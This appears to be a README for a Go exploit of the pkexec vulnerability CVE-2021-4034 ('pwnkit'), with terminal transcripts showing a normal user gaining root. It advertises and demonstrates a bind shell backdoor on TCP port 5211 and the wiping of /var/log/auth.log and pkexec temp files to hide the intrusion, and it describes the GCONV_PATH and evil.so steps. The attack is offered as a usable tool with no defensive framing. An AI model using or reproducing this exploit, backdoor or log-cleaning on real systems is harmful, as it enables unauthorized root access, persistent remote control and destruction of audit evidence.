A golang based exp for CVE-2021-4034 dubbed pwnkit
@@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@
@@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@
!@! @!@ !@! !@! !@! !@!!@!@! !@! @!! !@! !@! !@! !@! @!@
@!@@!@! @!! !!@ @!@ @!@ !!@! @!@@!@! !!@ @!! @!@!@!@!@ !@! @!@!@ @!@ !@!
!!@!!! !@! !!! !@! !@! !!! !!@!!! !!! !!! !!!@!@!!! !!! !!@!! !@! !!!
!!: !!: !!: !!: !!: !!! !!: :!! !!: !!: :!! !!: !!: !!!
:!: :!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:: :!: !:!
:: :::: :: ::: :: :: :: ::: :: :: ::: :::: ::::: ::
: :: : : : :: : : ::: : : :: :: : : : :
By lUc1f3r11
- dynamically pkexec path by just adding -pk arg
- bind shell backdoor
- /var/log/auth.log and pkexec tmp files clean
- written in pure go and using upx compressed volume
- run the pwnkit file to get root first
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ whoami
kali
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@
@@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@
!@! @!@ !@! !@! !@! !@!!@!@! !@! @!! !@! !@! !@! !@! @!@
@!@@!@! @!! !!@ @!@ @!@ !!@! @!@@!@! !!@ @!! @!@!@!@!@ !@! @!@!@ @!@ !@!
!!@!!! !@! !!! !@! !@! !!! !!@!!! !!! !!! !!!@!@!!! !!! !!@!! !@! !!!
!!: !!: !!: !!: !!: !!! !!: :!! !!: !!: :!! !!: !!: !!!
:!: :!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:: :!: !:!
:: :::: :: ::: :: :: :: ::: :: :: ::: :::: ::::: ::
: :: : : : :: : : ::: : : :: :: : : : :
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer),1000(kali)
# whoami
root
see the tmp file and log file exists
- run bindshell file to clean /var/log/auth.log and pkexec tmp files and open a tcp bind shell
# ./bindshell &
# [+] setting command exec path env
[+] cleaning /tmp/pkexec* files
[+] cleaning /var/log/auth.log pkexec logs
[+] cleaning /tmp/al
[+] open a bind tcp shell on port 5211
#
┌──(root💀kali)-[~/pwnkit]
└─# cp pkexec-good /usr/bin/pkexec
┌──(kali㉿kali)-[/root/pwnkit/CVE-2021-4034-go]
└─$ ./pwnkit
@@@@@@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@
@@@@@@@@ @@@ @@@ @@@ @@@@ @@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@@ @@@@@@@@
@@! @@@ @@! @@! @@! @@!@!@@@ @@! !@@ @@! @@! !@@ @@! @@@
!@! @!@ !@! !@! !@! !@!!@!@! !@! @!! !@! !@! !@! !@! @!@
@!@@!@! @!! !!@ @!@ @!@ !!@! @!@@!@! !!@ @!! @!@!@!@!@ !@! @!@!@ @!@ !@!
!!@!!! !@! !!! !@! !@! !!! !!@!!! !!! !!! !!!@!@!!! !!! !!@!! !@! !!!
!!: !!: !!: !!: !!: !!! !!: :!! !!: !!: :!! !!: !!: !!!
:!: :!: :!: :!: :!: !:! :!: !:! :!: :!: :!: !:: :!: !:!
:: :::: :: ::: :: :: :: ::: :: :: ::: :::: ::::: ::
: :: : : : :: : : ::: : : :: :: : : : :
By lUc1f3r11
[+] Beginning exploit...
[+] mkdir 0755 GCONV_PATH=.
[+] chmod 0755 GCONV_PATH=./evildir
[+] mkdir 0755 evildir
[+] writefile 0755 evildir/gconv-modules
[+] writefile 0755 evildir/evil.so
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.